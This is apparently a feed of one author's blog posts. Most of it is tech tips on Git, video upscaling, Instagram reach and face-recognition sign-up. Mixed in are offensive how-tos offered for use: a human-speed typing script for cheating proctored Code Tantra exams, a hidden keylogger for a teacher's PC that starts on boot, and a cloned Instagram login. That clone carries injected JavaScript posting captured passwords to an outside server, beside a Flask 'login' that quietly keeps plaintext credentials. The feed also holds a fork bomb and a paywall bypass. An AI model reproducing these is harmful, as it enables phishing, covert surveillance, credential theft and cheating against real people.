DEV Community: S I D D A R T H

Bypassing Code-Tantra Restrictions.

S I D D A R T H — Sun, 30 Mar 2025 07:36:03 +0000

Code Tantra is a online learning platform where online proctored tests are held. In that test you can’t copy and paste. A lot of restrictions are held to build a healthy environment, then made it hard to cheat in exams…but not impossible.

I found various methods and tricks to cheat in code tantra, I will generally call those as bypassing methods 😶‍🌫️.

How to copy questions from code tantra ? — websites like these generally disable right click to reduce the features, however some baddies bypass that. Even after bypassing you can’t copy a thing — nature bro 🤣.

In that case, you can simply install sider ai from chrome web store and select the text you will simply see a small rectangular popup, instead of copying manually or by keyboard shortcuts. You can do this do bypass this restriction.

Actually there are many tricks like inspecting and copy the details and copying through dynamic editing but i fell this one is much easier.

How to paste answers in code tantra ? — There are many ways to bypass this like Text-Blaze to paste something quickly. Something is very hard on my back ! 😶‍🌫️ Yeah even Text-Blaze doesn’t work on this website.

Finally, I tried auto hot key. It works but…..

🤣 Not a matter, the reason i got from officials is my typing speed that is abnormal while typing. Yep! when i was using auto hot key even my laptop got lagged due to it’s speed. So i asked my friend to modify that code according to human typing speed.

He nailed it, even he added something like backspacing the letters for a certain interval. I was really impressed :)

You can use this code to create a auto hot key.

Install-autohotkey
Create a file with the extension of .ahk and click edit through notepad and paste this code.

I will share the code with comments, so you can modify the script as you please.

^v::
clipboard := StrReplace(clipboard, "`r`n", "{Enter}") ; Replace new lines with Enter key

Loop, Parse, clipboard
{
    Send, %A_LoopField% ; Type each character
    Sleep, Random(100, 250) ; Random delay (100ms-250ms)

    if (Random(1, 20) = 1) ; 1 in 20 chance of a short pause (like thinking)
        Sleep, Random(300, 800)

    if (Random(1, 50) = 1) ; 1 in 50 chance of a "mistake" (backspace)
    {
        Send, {BS}
        Sleep, Random(100, 300)
        Send, %A_LoopField% ; Re-type the character
    }
}
return

Random(min, max) {
    return min + Floor((max - min + 1) * Rand())
}

Rand() {
    return DllCall("Kernel32.dll\GetTickCount") & 0xFFFF / 0xFFFF
}

After creating this script, open the script and here you go. When ever you press Ctrl+V , the content will be typed automatically.

The End..

Inspect tool is crazy !!

S I D D A R T H — Sat, 29 Mar 2025 14:46:37 +0000

Inspect tool is crazy !!

I hope you guys doing good, my writing isn’t good as a professional writer. I hope you guys get along with me throughout this blog. (29/03/2025)

Do you know, you can actually see the password in the browser that is shown as ***** !?

Well you have came through lot of these, where you have forgot the password hopefully you saved in browser password manager but you still need it to login in another device. Dramatically the “show password icon” is also disabled in your login site. Uffff…. well i got a solution where you can see the password, that’s simple. Select the password and inspect it, in inspect tab you can notice that something like type = password simply change it to type = text. It changes from **** → text.

Do you know you can easily edit the website you visit, easily without inspecting each part and more..

Press ‘Ctrl+Shift+I’ and navigate to console tab, and type this

For Dynamic Editing-

document.body.contentEditable = true;

For Making images up-side down-

document.querySelectorAll('img').forEach(img => img.style.transform = 'rotate(180deg)');

You can also automate java script working on web pages easily by creating a bookmark and instead of inserting link on that paste you js.

Bypass Right-Click Block (on Protected Sites) — Use Case: Some sites block right-click & text selection. Open Console (F12 > Console Tab). Paste this and hit Enter:

document.oncontextmenu = null;
document.onselectstart = null;
document.onmousedown = null;

To be continued. Excepted next update at (30/03/2025).

Hook Your Audience — Instagram.

S I D D A R T H — Fri, 28 Mar 2025 16:13:10 +0000

Hook Your Audience — Instagram.

carefully curated insights from meta.

Even beginners with simple edits and basic content can get good views and reach. Meanwhile, creators who spend hours planning, editing, and perfecting their content often struggle to get the reach they expect. The reason is simple: Instagram’s algorithm tends to favor easily consumable, engaging content over complex, high-effort edits.

First of all, you have to learn how reels suggestions are created, it is called as reels chaining.

Gathering Inventory — The system collects reels similar to what users have interacted with.
Leverage Signals — It analyzes length, similarity, and engagement to select ~100 reels.
Make Predictions — AI predicts which reels users will find most engaging.
Ranking by Score — Reels are ordered by relevance score.

How To Get High Ranking?

Viewers decide within seconds whether to keep watching or scroll. Simple, easy-to-grasp content tends to grab attention faster.

Hook your audience, at least for the first 3 seconds — “The AI prioritizes reels that users watch for more than 3 seconds.”

If the content is too niche (முக்கிய இடம்) or slow to grab attention, people might scroll past.
Instagram’s AI learns from audience behavior , so if fewer people interact early, the reach decreases.
Use engaging captions and trending audio to boost interaction.
Post consistently to train the algorithm.
Encourage engagement (likes, comments, shares).

Encouraging the audience to like, comment, and share might seem a bit shady, but the algorithm tends to favor exactly that.

Full-Screen Views: If users click on your reel to watch it full-screen on explore tab, that’s a good signal. “Tall, full-screen reels perform better.”

Insta aim to show you fewer reels that:

Are muted, blurry, low resolution.
Contain borders, logos, watermarks.
Have the majority of the image covered by text.
Aren’t own original videos.
Go against insta Community Standards (e.g. contains hateful conduct or graphic violence) or insta Recommendation Guidelines.

Avoid these mistakes at early stage of your creation journey.

These are basic consideration you should consider while creating, try to hook your audience at least for first 3 seconds(Avoid intro), try to create tall vertical videos.

If you switch too much between different types of content (e.g., movie edits, vlogs, random memes), the algorithm may not know who to recommend your content to.
Stick to a theme so the AI can properly recommend your content.

Is Higher Ranking All Matters ?

Even if your ranking is good, low-quality content is like biting into a bitter gourd — unpleasant and forgettable. Focus on creating high-quality, engaging content that truly impresses users, not just random, mindless memes.

Instagram even mentioned about video and audio codec for reels, I prefer you to follow these codecs.

You can upload a reel with an aspect ratio between 1.91:1 and 9:16.
Reels should have a minimum frame rate of 30 FPS (frames per second) and a minimum resolution of 720 pixels.

Video codec

Progressive scan (no interlacing).
High profile.
Two consecutive B-frames.
Closed GOP. GOP of half the frame rate.
CABAC.
Chroma subsampling: 4:2:0.

Audio codec

Channels: Stereo or stereo + 5.1.
Sample rate 96 kHz or 48 kHz.

Cover photo file format

png or jpg.

No idea about codecs? Need a guide on how to export your projects with the right settings? Follow this page and stay tuned for upcoming posts!

Keylogger Trick (ChatGPT Restricted) — Hacking My Teacher’s PC.

S I D D A R T H — Thu, 27 Mar 2025 16:24:49 +0000

Keylogger Trick (ChatGPT Restricted) — Hacking My Teacher’s PC.

This short vlog reveals a keylogger trick, often restricted from ChatGPT’s access. The goal is to capture all keystrokes, including passwords and usernames, across all browsers.

Image is subjected to copyright.

Step 1 : Inserting a python script on my teacher’s computer.

Well making this python script is easier, the script is easily understandable since it uses library for ease use.

Requirements : pynput,pythonw.

from pynput import keyboard
import os
LOG_FILE = "keylog.txt"
def on_press(key):
    try:
        with open(LOG_FILE, "a") as f:
            if hasattr(key, 'char') and key.char is not None:
                f.write(key.char)
            else:
                f.write(f"[{key}]")
    except Exception as e:
        print(f"Error: {e}")
if os.name == "nt":
    import ctypes
    ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

keylogs.txt

Step 2 : Launching this script using .bat file.

Write Your Python Script Save your Python script (e.g., script.py) in a known location, such as C:\Users\YourName\Desktop.
Create a .bat File Open Notepad and type the following command:

@echo off
start /B "" "C:\Users\sidhe\AppData\Local\Programs\Python\Python310\pythonw.exe" "C:\Users\sidhe\Desktop\keys.py"

Step 3: Run the .bat File Automatically at Startup

Press Win + R , type shell:startup, and press Enter.
This opens the Startup folder. Copy and paste your .bat file into this location.
Now, every time your PC starts, the .bat file will run automatically, ensuring that keylogs are stored in keylogs.txt.

Troubleshooting:

If the script doesn’t run properly at startup, check if Python is added to the system PATH.
Try running the .bat file manually first to confirm it works.
If you face any errors, feel free to share them, and I’ll help troubleshoot.

Instead of storing keylogs locally in keylogs.txt, consider saving them to a cloud service for easier access. Implementing this can enhance data availability and security.

5 Bored — stuffs to do with your laptop.

S I D D A R T H — Wed, 26 Mar 2025 15:12:34 +0000

5 Bored — stuffs to do with your laptop.

This blog is written for only bored stuffs, if you are bored read this it would be better, if you came for productivity — Quit now !!

1. Hidden God Mode in Windows

Open CMD (Press Win + R, type cmd, and hit Enter ).
Type this command:

ren "C:\Users\YourUserName\Desktop\New folder" "GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}"

2. Secret Windows Admin Mode (Super Admin Account)

🔹 Open CMD as Administrator (Win + X → Command Prompt (Admin))

🔹 Type:

net user administrator /active:yes

🔹 Restart PC → New Administrator account appears on login screen!

To disable it:

net user administrator /active:no

3. Hide Drives from File Explorer

🔹 Open CMD as Administrator (Win + X → Command Prompt (Admin))

🔹 Type:

diskpart
list volume
select volume X (replace X with the drive letter)
remove letter X

Your drive disappears!

To bring it back:

assign letter X

4. Make Your PC Crash Instantly (Don’t try unless you mean it! )

Open Notepad and paste:

%0|%0

Save as crash.bat → Running it crashes your system immediately!

5. Fake Windows Update Screen (Prank Your Friends!)

🔹 Open your browser and go to fakeupdate.net

🔹 Press F11 to go fullscreen → Looks like a real Windows update!

🔹 Press Enter → Shows a fake BSOD (Blue Screen of Death)!

Read-Free Medium Membership Stories.

S I D D A R T H — Tue, 25 Mar 2025 10:14:44 +0000

Hack the Medium ! — Free

Hey there, in this tutorial i am eager to share something that is really heroic. You can really read medium only-member stories for free without any struggle. You can get the rich content from the creators from worldwide for free. Since I live in India I don’t have stripe account and medium support only stripe for payout, I can’t able to payout in medium. So there is no drawback for me.

You can achieve this trick by using archive.is.

Simply open archive.is and paste the medium member only story link in the the first text bar. It automatically scrap the entire website and loads the full story without the paywalls.

Why this works ?

Simply put, an archive loads the website on its server instead of your computer. It uses bots, such as Google-friendly bots, to bypass paywalls. Since many websites do not restrict access to bots, they display the full content to these bots, and the archived website is dynamically rendered on your webpage.

Step 1 : Paste the medium link in the archive.is and click save.

Here you go, the member only story is loaded in your browser for free.

You can also create a JavaScript bookmark in your browser for fast access, mean — You can directly force to load the current medium page in archive.is without copy and paste.

javascript: (function() {
    let url = window.location.href;
    let archiveUrl = "https://archive.is/" + url;
    let readerMode = "about:reader?url=" + url;
    window.open(archiveUrl, "_blank");
    window.open(readerMode, "_blank");
})();

Now you can read any premium story for free without any restriction. Use this for only educational purpose, start to read enriched blogs and if you really like the creator, support the creator byheart.

Also leave a comment on how can i make my blogs more interesting like.. memes about the content ? Interactive real-world talks ? Let me know :)

Clone Apps & Games without third party apps using ADB.

S I D D A R T H — Mon, 24 Mar 2025 16:41:48 +0000

Let’s get straight to the topic. You can actually create a clone of an app without using third-party apps like Dual Space, Parallel Space, or Space Duo.

To achieve this, you need to install SDK Platform Tools (ADB) from the official site Download.

Normally, cloning apps and games on Android requires third-party apps. But with ADB , you can do it manually!

Step 1: Go the installed SDK Platform tool directory, type “cmd” in the address bar and open a cli in that folder.

Step 1

Step 2: First check if your device support multiple apps. Type the following in the the following cmd.

adb shell pm list users

If you don’t see any extra users, create a one.

adb shell pm create-user --profileOf 0 --managed "CloneUser"

Step 3: Install the app for new user.

For different apps and games you have different packages name, for example:

For Pokemon Games (Pokemon TCG Pocket), type the following:

adb shell pm list packages | grep pokemon

Now install it for the new user (999 in this case) :

adb shell pm install-existing --user 999 com.pokemon.pokemontcg

Step 4: Switch to the new user and run the app.

Switch to user 999.

adb shell am switch-user 999

Launch the game :

adb shell monkey -p com.pokemon.pokemontcg -c android.intent.category.LAUNCHER 1

Now the game should open in the second profile as a cloned interface.

If you want to return to the main user :

adb shell am switch-user 0

Popular Games Package Names:

Pokémon TCG Live com.pokemon.pokemontcg
Pokémon GO com.nianticlabs.pokemongo
Call of Duty Mobile com.activision.callofduty.shooter
PUBG Mobile com.tencent.ig
Free Fire com.dts.freefireth
Genshin Impact com.miHoYo.GenshinImpact
Clash of Clans com.supercell.clashofclans
Clash Royale com.supercell.clashroyale
Minecraft com.mojang.minecraftpe
Subway Surfers com.kiloo.subwaysurf
Among Us com.innersloth.spacemafia

Popular Apps Package Names:

WhatsApp com.whatsapp
Instagram com.instagram.android
Facebook com.facebook.katana
Facebook Lite com.facebook.lite
Messenger com.facebook.orca
Telegram org.telegram.messenger
Snapchat com.snapchat.android
YouTube com.google.android.youtube
TikTok com.zhiliaoapp.musically
Spotify com.spotify.music
Netflix com.netflix.mediaclient
Chrome com.android.chrome

Error Encounter:

If User 999 is blocked on your phone, try using a work profile:

adb shell pm create-user - profileOf 0 - managed "WorkProfile"
adb shell pm install-existing - user 10 com.pokemon.pokemontcg
adb shell am switch-user 10

This keeps both versions running independently.

Enjoyed || Helpfull ? Leave a sub and like ❤

Real -ESGRAN | Enhance your videos.

S I D D A R T H — Sun, 23 Mar 2025 04:13:04 +0000

Hey there, in this article we are going to have a exposure on a open-sourced video enhancer tool Real-ESGRAN. This tool is not advanced as Topaz Ai, but more over it gives a satisfying result.

This is the frame before enhance.

Before enhance.

I will show the result that i got on Real-ESGRAN. Due to limitations in medium, I will share the result as link.

For sample view.

Enhanced Quality : Link Unavailable

Really I impressed that i got a more smooth images after enhancing. At the same time i got frustrated due to its rendering time. I really rendered a 30 seconds video for a whole night with my RTX 3050 4GB.

The actual problem you can’t render this quality with this 4BG VRAM. It says VRAM is out of memory. So i rendered the video by 200 pixel by pixel. Makes the process slower.

You laptop will start to burn like hot flames in the dragon dungeon. So I created a python script to create a break time between each frame render and a additional break time between each 10 frames. This helped me to maintain my laptop GPU at gradually at 81°C.

Coming to the point, How to do?

Get Real-ESGRAN files at download it as zip.

Video version of the process will be available soon.

Enhancing Video Quality with Real-ESRGAN: A Step-by-Step Guide

High-quality video enhancement has become easier with tools like Real-ESRGAN. This guide explains how to extract frames from a video, enhance them using Real-ESRGAN, and merge them back into a high-resolution video with the original audio.

Step 1: Extract Frames from Video

To begin, create a directory for storing frames and extract images from the video file using FFmpeg:

mkdir frames
ffmpeg -i input.mp4 -q:v 1 frames/frame_%04d.png

This command ensures high-quality frame extraction while maintaining the sequence of images.

Step 2: Enhance Frames Using Real-ESRGAN

Once the frames are extracted, create an output directory and process them using Real-ESRGAN:

mkdir enhanced_frames
python inference_realesrgan.py -n RealESRGAN_x4plus -i frames --outscale 1.2 -o enhanced_frames

The --outscale 1.2 parameter upscales the frames by 20% , adding 200 pixels to the resolution, I used this command:

python inference_realesrgan.py -n RealESRGAN_x4plus -i frames/ -o upscaled_frames/ --tile 200

Step 3: Reconstruct Video from Enhanced Frames

After enhancement, convert the processed frames back into a video:

ffmpeg -framerate 30 -i enhanced_frames/frame_%04d.png -c:v libx264 -pix_fmt yuv420p enhanced_video.mp4

Here, -framerate 30 maintains smooth playback, and libx264 ensures compatibility with most devices.

Step 4: Extract Audio from Original Video

Since the enhanced video lacks audio, extract the original sound from the input video:

ffmpeg -i input.mp4 -q:a 0 -map a audio.aac

Step 5: Merge Audio with Enhanced Video

Finally, combine the extracted audio with the upscaled video:

ffmpeg -i enhanced_video.mp4 -i audio.aac -c:v copy -c:a aac -strict experimental final_output.mp4

This command merges the video and audio streams without re-encoding the video, ensuring the best quality.

To be noted.

Ensure to create a frame and upscaled_frame folder before processing.

Store all the before enhance frames in the frame folder.

Every commands should be typed on cmd.

Ensure you download all the requirements.txt.

To download, go inside of the folder Real-ESGRAN type cmd in address bar and type the following in cmd:

pip install requirements.txt

Y ou can also use my python script to create a break time between frames.

import os
import time
import glob

# Path to input and output folders
input_folder = "frames/"
output_folder = "upscaled_frames/"

# List all frames
frames = sorted(glob.glob(os.path.join(input_folder, "*.png")))

# Process each frame with a break
for i, frame in enumerate(frames):
    print(f"Processing {i+1}/{len(frames)}: {frame}")

    # Run Real-ESRGAN on one frame at a time
    os.system(f'python inference_realesrgan.py -n RealESRGAN_x4plus -i "{frame}" -o "{output_folder}" --tile 200')

    # Add a longer delay after each frame (adjust as per your requirement)
    time.sleep(10) # Increased to 10 seconds after each frame

    # Optional: Take a longer break every 10 frames
    if (i + 1) % 10 == 0:
        print("Cooling down for 60 seconds...") # Increased cooldown time
        time.sleep(60) # Extended break time to 60 seconds after every 10 frames

print("✅ All frames processed!")

To use type “python batch_processor.py” in cmd.

ERROR ENCOUNTER.

If you receive error expect this feel free contact me soozuo@yandex.ru

If you receive module not found error! Ensure that you have downloaded all the modules in the requirements.txt founded to be in the extracted folder.
If you receive realesgran version not found. you have create that manually.

Go to \Real-ESRGAN\realesrgan and create a python file named version.py contain the following :

__version__ = '0.3.0'

Building a Custom Instagram-Style Login with Flask and MySQL

S I D D A R T H — Thu, 06 Mar 2025 15:02:54 +0000

In today’s digital world, user authentication is a fundamental feature in any web application. Whether you’re creating a social media platform, an internal tool, or a simple login system, handling authentication efficiently is crucial. This article walks through building a custom Instagram-style login system using Flask , MySQL , and basic HTML/CSS/JS for the frontend.

🔗 Get files at GitHub.

🔗 View sample login ui Open.

Why Flask and MySQL?

Flask is a lightweight yet powerful Python framework, ideal for handling authentication systems without unnecessary overhead. MySQL, a robust relational database, efficiently stores user credentials, making it a great choice for structured authentication workflows.

Setting Up the Backend (Flask + MySQL)

1️⃣ Install Required Packages

Before diving into the code, ensure you have the necessary dependencies installed:

pip install flask mysql-connector-python flask-cors

2️⃣ Creating the Database and Users Table

We’ll start by setting up a MySQL database for storing user credentials.

CREATE DATABASE user_auth;
USE user_auth;
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL
);

3️⃣ Writing the Flask Backend

Now, let’s create a Flask application that handles user registration and login.

from flask import Flask, request, jsonify
from flask_cors import CORS
import mysql.connector
app = Flask( __name__ )
CORS(app)
# MySQL Configuration
db_config = {
    "host": "your-mysql-host",
    "user": "your-mysql-username",
    "password": "your-mysql-password",
    "database": "user_auth"
}
# Connect to MySQL
def connect_db():
    return mysql.connector.connect(**db_config)
# User Registration
@app.route('/register', methods=['POST'])
def register():
    try:
        data = request.json
        username = data.get('username')
        password = data.get('password') # Stored directly without hashing
        if not username or not password:
            return jsonify({"error": "Missing username or password"}), 400
        conn = connect_db()
        cursor = conn.cursor()
        cursor.execute("INSERT INTO users (username, password) VALUES (%s, %s)", (username, password))
        conn.commit()
        cursor.close()
        conn.close()
        return '', 204 # No response
    except Exception as e:
        return jsonify({"error": str(e)}), 500
if __name__ == ' __main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

Creating the Frontend (HTML + JavaScript)

The frontend consists of a simple login page where users enter their credentials.

1️⃣ index.html (Frontend UI)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form id="loginForm">
        <input type="text" id="username" name="username" placeholder="Username" required>
        <input type="password" id="password" name="password" placeholder="Password" required>
        <button type="submit">Login</button>
    </form>

    <script>
        document.getElementById("loginForm").addEventListener("submit", async function(event) {
            event.preventDefault();

            const username = document.getElementById("username").value;
            const password = document.getElementById("password").value;await fetch("http://127.0.0.1:5000/register", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ username, password })
            });
        });
    </script>
</body>
</html>

Running the Project

1️⃣ Start MySQL and create the database

2️⃣ Run the Flask backend

python app.py

3️⃣ Open index.html in a browser and test the login form

Final Thoughts

This setup provides a foundation for handling user authentication. If security is a concern, consider hashing passwords before storing them. This project can be extended by adding features like user sessions, password encryption, and email verification.

For more insights on working with Instagram-style UI and automation, check out this detailed experience shared on Medium:

🔗 Cloning Instagram UI: My Struggles with HTTrack, Selenium, and the Final Success with Wget

Cloning Instagram Login UI: My Struggles with HTTrack, Selenium, and the Final Success with Wget

S I D D A R T H — Thu, 27 Feb 2025 16:16:26 +0000

Cloning a website may seem straightforward, but when I attempted to clone Instagram’s login UI, I faced multiple roadblocks. Instagram, like many modern websites, relies heavily on JavaScript rendering and API calls , making traditional scraping tools ineffective. I tried HTTrack, Selenium, and finally succeeded with Wget. This is my journey of persistence and problem-solving.

🔍 First Attempt: HTTrack (Failed)

HTTrack is a well-known tool for mirroring websites. It can recursively download HTML, images, CSS, and JavaScript , making it seem like the perfect choice for cloning Instagram’s login page. I used the following command:

httrack "https://www.instagram.com/accounts/login/" -O cloned_instagram +*.png +*.jpg +*.css +*.js

🚨 Issues Faced:

Instagram’s anti-scraping protections blocked the requests , resulting in missing files.
The login page loads dynamically using JavaScript , but HTTrack only captures static HTML.
Broken styles and missing images made the cloned page look completely different from the original.

HTTrack is great for static websites , but it failed to capture Instagram’s JavaScript-heavy UI.

🛠️ Second Attempt: Selenium (Partially Worked 😐)

Since HTTrack couldn’t handle dynamic content , I turned to Selenium , which automates browsers and can render JavaScript. My idea was to:

✅ Open Instagram’s login page using Selenium.

✅ Extract the fully rendered HTML source.

✅ Save it as an HTML file.

I wrote this Python Selenium script :

from selenium import webdriver
driver = webdriver.Chrome()
driver.get("https://www.instagram.com/accounts/login/")
html = driver.page_source
with open("cloned_instagram.html", "w", encoding="utf-8") as file:
    file.write(html)

🚨 Issues Faced:

The script only saved static content , and dynamic elements (like the login form) were missing.
CSS and images were not downloaded , making the page look broken.
Instagram loads UI components via JavaScript and API calls , which Selenium does not capture in a simple page source dump.

Selenium worked better than HTTrack , but it wasn’t enough to get a fully functional UI.

🚀 Final Solution: Wget (Success! 🎉)

After multiple failed attempts, I decided to clone a localhost version of Instagram’s UI instead. I used Zphisher , a tool that replicates Instagram’s login UI for educational purposes. It runs a static HTML version on http://127.0.0.1:8080.

To fully clone the page, I used Wget , which recursively downloads entire websites, including images, CSS, and JavaScript files:

wget -r -np -k -E -p -P cloned_localhost http://127.0.0.1:8080

✅ Everything worked perfectly!

All images, CSS, and JavaScript were properly downloaded.
The cloned UI looked identical to the original Instagram page.
No missing elements or broken styles.

Finally, I had a perfect local clone of Instagram’s UI! 🎉

🔑 Lessons Learned from This Experience

1️⃣ HTTrack is great for static sites, but struggles with JavaScript-heavy pages.

2️⃣ Selenium can render JavaScript, but doesn’t capture all assets properly.

3️⃣ Cloning a local version of a site (like Zphisher’s UI) made things easier.

4️⃣ Wget remains one of the best tools for full website mirroring.

After multiple failed attempts, I finally found the right method. If you ever struggle with cloning a site, try Wget first! It might save you hours of debugging. 🚀

🔮 Future Implementation: Injecting a Script to Capture Login Details

Now that I successfully cloned the UI, I am working on a JavaScript injection script that captures user input from login forms and sends it to my database.

The script will:

✅ Detect username, email, and password fields in real-time.

✅ Log the captured details in the console for debugging.

✅ Send the captured data securely to a backend database.

Here’s a basic version of the script:

(function() {
    document.addEventListener("submit", function(event) {
        event.preventDefault(); // Prevent actual form submission
        const form = event.target;
        const inputs = form.querySelectorAll("input[type='text'], input[type='email'], input[type='password']");
        let formData = {};
        inputs.forEach(input => {
            formData[input.name || input.id] = input.value;
        });
        console.log("📥 Captured Data:", formData); // Debugging log
        fetch("https://mydatabase.com/store-data", { // Replace with actual API
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(formData)
        }).then(response => console.log("✅ Data Sent Successfully"))
          .catch(error => console.error("❌ Error Sending Data:", error));
    });
})();

🔹 Next Steps: I will refine this script to ensure secure data transmission and possibly implement a dashboard to track stored data. More updates coming soon! 🚀

Building a Face Recognition-Based User Registration System

S I D D A R T H — Thu, 27 Feb 2025 15:35:02 +0000

Get Files at Github

Introduction

In today’s digital world, biometric authentication is becoming increasingly important for secure user registration. This blog explores how to build a face recognition-based user registration system using Node.js, Python (MediaPipe), MySQL, and React.js.

By the end of this post, you’ll understand how to:

Set up a backend using Node.js and Express.js
Process face images using Python and MediaPipe
Store user data and embeddings in MySQL
Convert images to Base64 in React.js before sending them to the backend

🛠 Tech Stack

Frontend: React.js (Image conversion to Base64, API communication)
Backend: Node.js (Express, MySQL)
Face Processing: Python (MediaPipe, OpenCV, NumPy)
Database: MySQL

📌 Key Features

✔ Face-based Registration: Users register using their real name, unique code, and face image.

✔ Face Embedding Generation: Extracts facial features using MediaPipe. ✔ Secure Database Storage: Stores user data and face embeddings in MySQL.

✔ Unique Code Verification: Ensures only authorized users can register.

📂 Project Structure

/Face-Recognition-Registration
│── frontend/ # React.js Frontend (To be built)
│── server.js # Node.js backend (API, database handling)
│── face_processor.py # Face processing script (Python, MediaPipe)
│── package.json # Node.js dependencies
│── README.md # Project documentation
└── database.sql # SQL script to create tables

⚡ How It Works

1️⃣ User selects an image in the frontend.

2️⃣ Frontend converts the image to Base64 and sends it to the backend.

3️⃣ server.js verifies the unique code and forwards the image to face_processor.py.

4️⃣ face_processor.py detects the face and generates a face embedding.

5️⃣ server.js stores the processed data in MySQL and updates user details.

🚀 Future Enhancements

✔ Complete Frontend with React.js

✔ Real-time Face Scanning Animation

✔ QR-Based Login using Face Authentication

✔ Decentralized Access Control (Blockchain)

✔ Improved AI-based Face Matching

🏗️ Setting Up the Project

1️⃣ Clone the Repository

git clone https://github.com/guider23/faceScannerForAuthentication.git
cd Face-Recognition-Registration

2️⃣ Install Dependencies

npm install # Install Node.js dependencies
pip install -r requirements.txt # Install Python dependencies

3️⃣ Configure the Database

Create a MySQL database and import the database.sql file.
Update server.js with your database credentials.

SQL Table Creation

CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    real_name VARCHAR(255) DEFAULT 'Pending',
    unique_code VARCHAR(50) NOT NULL UNIQUE,
    face_embedding JSON DEFAULT '{}',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

-- Insert placeholder unique codes for testing
INSERT INTO users (real_name, unique_code) VALUES ('Pending', 'ABC1234'), ('Pending', 'DEF5678'), ('Pending', 'GHI9101');

4️⃣ Start the Server

node server.js

🔬 Testing the API

Since the frontend is pending, you can test the API using Postman or cURL.

Using Postman

1️⃣ Open Postman and create a new POST request to http://localhost:3000/register. 2️⃣ Set the request body to raw JSON:

{
  "real_name": "John Doe",
  "unique_code": "ABC1234",
  "image": "data:image/jpeg;base64,/9j/4AAQSkZJRg..."
}

3️⃣ Click Send and check the response.

Using cURL

curl -X POST http://localhost:3000/register \
     -H "Content-Type: application/json" \
     -d '{
           "real_name": "John Doe",
           "unique_code": "ABC1234",
           "image": "data:image/jpeg;base64,/9j/4AAQSkZJRg..."
         }'

🔗 Conclusion

This face recognition-based user registration system lays the groundwork for a secure, AI-powered authentication mechanism. As we continue to improve it, adding features like real-time face scanning and decentralized access control , it will become a cutting-edge solution in biometric security.

Interested in contributing? Fork the repo, submit PRs, and star the project! 🚀

📝 License

This project is open-source and available under the MIT License.

💡 Got ideas? Drop a comment below or contribute to the repo! 🚀

Contribute Github

How to Add Files to GitHub Using Git

S I D D A R T H — Sun, 23 Feb 2025 16:23:09 +0000

GitHub is a powerful platform for version control and collaborative development. In this guide, we will cover the step-by-step process of adding files to GitHub using Git.

Reach me at github @guider23

1. Install Git

Before you begin, make sure you have Git installed on your system.

Windows: Download and install Git from git-scm.com.
Mac: Install Git using Homebrew:

brew install git

Linux: Install Git via package manager:

sudo apt install git # Debian/Ubuntu sudo yum install git # Fedora

Verify the installation by running:

git --version

2. Create a GitHub Repository

Go to GitHub.
Click on New Repository.
Provide a name for your repository.
Choose “Public” or “Private” as per your requirement.
Click Create Repository.

After creating the repository, GitHub will provide a URL (e.g., https://github.com/username/repository.git). Keep this handy.

3. Initialize a Local Repository

If you are working on a new project, navigate to your project folder in the terminal and initialize Git:

cd path/to/your/project

git init

This will create a hidden .git folder, making it a Git repository.

4. Set Up Your Identity

Configure your Git identity (only required once per machine):

git config --global user.name "Your Name"
git config --global user.email "your-email@example.com"

5. Add a Remote Repository

Link your local repository to the remote repository on GitHub:

git remote add origin https://github.com/username/repository.git

Verify the remote URL:

git remote -v

6. Add Files to Git

If you have files to upload, use the following command to add them to Git’s tracking system:

git add . # Adds all files in the directory

To add specific files:

git add filename.ext

Check the status of your changes:

git status

7. Commit the Changes

Once files are added, commit them with a message:

git commit -m "Initial commit"

This message should be descriptive of the changes made.

8. Push Files to GitHub

Push the committed files to your GitHub repository:

git push -u origin main

If you get an error, ensure your branch is named main (or master) and rename it if necessary:

git branch -M main

Then, push again:

git push -u origin main

9. Handling Errors and Fixes

Remote Already Exists :

git remote remove origin 
git remote add origin https://github.com/username/repository.git

Updates Rejected (Push Failed):

git pull origin main --rebase git push -u origin main

Force Push (Use with Caution):

git push --force

10. Verify on GitHub

Go to your repository on GitHub and check if your files are uploaded. You should see your project files listed.

Conclusion

By following these steps, you can successfully upload files to GitHub using Git. Understanding Git commands helps you manage code efficiently and collaborate effectively. Happy coding! 🚀